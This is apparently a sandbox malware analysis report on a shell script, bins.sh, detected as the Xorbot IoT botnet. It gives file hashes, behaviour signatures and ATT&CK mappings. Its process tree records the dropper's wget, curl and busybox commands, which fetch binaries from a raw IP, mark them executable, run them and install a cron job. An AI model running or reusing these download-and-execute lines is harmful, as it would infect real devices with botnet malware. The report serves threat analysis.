Analysis
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max time kernel
145s -
max time network
150s -
platform
debian-9_armhf -
resource
debian9-armhf-20240418-en -
resource tags
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submitted
18-02-2025 09:27
General
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Target
bins.sh
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Size
10KB
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MD5
baf676de758311269e746d637d2a747e
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SHA1
d5f964a6f71d2a8484edcff5087bf0544283289d
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SHA256
ef03ff0ecab2f958dc1ba68a26b9a787dde395500fbae9ed2b9fcee67650983f
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SHA512
4d89a5116d365d7b9f927b4a139a08e96c4019a2e54a39efbbcb7683ffc7614a61a7380b55670ee4343205e3d8300ae9d7b1d0981e8e3c1eb9605a68a3fd8dd7
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SSDEEP
192:SOj4sdd2LyQ232n234kpSuRAIh/MHTEVRP4hFyvHY6232n234kbSuRAIh6HTEVR6:SOksdd2LyQoomMHTEVlu6ooRHTEVlgdH
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2069) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://37.44.238.88/bins/NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://37.44.238.88/bins/NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO2⤵
- File and Directory Permissions Modification
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/tmp/NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO./NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO2⤵
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm NttNcGp2nc8gGqeU4skyLuq21xj0wfBpfO2⤵
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/usr/bin/wgetwget http://37.44.238.88/bins/iPhot1uaNjMXcRmw1NPCSwCEaA3ZSzTrkF2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
39KB
MD57808631e4d831aea91a22eda9fe8db1e
SHA14e158a2ddac9de791eaaf92a9249700c5a5f42bb
SHA2568062f56dd43a8157210138faa26eea078b0f5fee6f7bbfb7f6e0dfb36767b74e
SHA512d117ed1afb179386513a762123bca1b26e664c8fb292045f271f9cada4c2cb33af0e31cc03482e82e325a23cab4060e48ce251ccb81df502fafdfe30f28357a4
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Filesize
210B
MD5be0dbb0975b5a3e9d7045dc6a20e5920
SHA1da55002fb088943b04b0f4a7fbdbdbfa3e4bc36f
SHA256918ab9ebe6e8a928f30246c1c12fa2051d08ed5f9c59512aaa898f66638fc358
SHA5127ea797783c354cbb5ba0d13b5b5a6005b89a0275bb7d313098b1650c85478439475c81835a74fb39c3a6eae7ce7a6ba4d5271c51cead44a375c189808cad4364